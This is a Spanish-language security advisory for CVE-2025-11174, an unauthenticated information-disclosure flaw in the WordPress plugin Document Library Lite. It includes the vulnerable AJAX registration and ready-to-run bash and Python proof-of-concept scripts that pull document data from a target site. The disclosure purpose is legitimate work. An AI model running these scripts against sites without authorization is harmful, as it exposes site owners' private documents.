
Document Library Lite <= 1.1.6 - Falta de autorización para la exposición de información sensible | CVE-2025-11174
Palabras clave: CVE-2025-11174, vulnerabilidad de Document Library Lite, divulgación de información, seguridad de WordPress, exploit AJAX no autenticado, vulnerabilidad de plugin de WordPress, CWE-862, seguridad de plugin de documentos de WordPress, bypass de autorización, WordPress CVE 2025
Vulnerabilidad de Divulgación de Información en el Plugin Document Library Lite de WordPress (CVE-2025-11174) - Fallo de seguridad que permite acceso no autenticado a datos sensibles de documentos en el plugin de biblioteca de documentos de WordPress.
Se descubrió una vulnerabilidad crítica de bypass de autorización en el Plugin Document Library Lite de WordPress que permite a atacantes no autenticados acceder a información sensible de documentos sin la autenticación adecuada.
Descubierto por: Kai Aizen y Avraham Shemesh (SnailSploit)
Publicado: 1 de noviembre de 2025
Puntuación CVSS: 5.3 (Medio)
CWE: CWE-862 - Autorización Faltante
Plugin: Document Library Lite
Vendedor: Barn2 Plugins
Tipo de Ataque: Divulgación de Información no Autenticada
Privilegios Requeridos: Ninguno (Ataque no Autenticado)
El plugin Document Library Lite para WordPress contiene una vulnerabilidad de autorización incorrecta en todas las versiones hasta la 1.1.6 inclusive. El plugin expone una acción AJAX no autenticada dll_load_posts que devuelve una tabla JSON de datos de documentos sin realizar comprobaciones de nonce o capacidades.
Esta vulnerabilidad permite a atacantes no autenticados:
Nota: La puntuación CVSS de 5.3 (severidad Media) refleja una divulgación limitada de información. Si bien la vulnerabilidad permite el acceso no autenticado a datos de documentos, el impacto se califica como Bajo en confidencialidad sin impacto en integridad ni disponibilidad.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
| Métrica | Valor |
|---|---|
| Vector de Ataque | Red (AV:N) |
| Complejidad del Ataque | Baja (AC:L) |
| Privilegios Requeridos | Ninguno (PR:N) |
| Interacción del Usuario | Ninguna (UI:N) |
| Alcance | Sin cambios (S:U) |
| Confidencialidad | Baja (C:L) |
| Integridad | Ninguna (I:N) |
| Disponibilidad | Ninguna (A:N) |
Desglose CVSS v3.1:
La acción AJAX dll_load_posts está registrada sin las comprobaciones adecuadas de autenticación o autorización:
// Código vulnerable (simplificado)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
El prefijo wp_ajax_nopriv_ indica que esta acción es accesible para usuarios no autenticados, y la función callback no implementa:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
La vulnerabilidad puede explotarse a través del endpoint admin-ajax.php de WordPress sin autenticación.
⚠️ Solo con Fines Educativos y de Pruebas Autorizadas
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
Acción Inmediata Requerida:
admin-ajax.php con action=dll_load_posts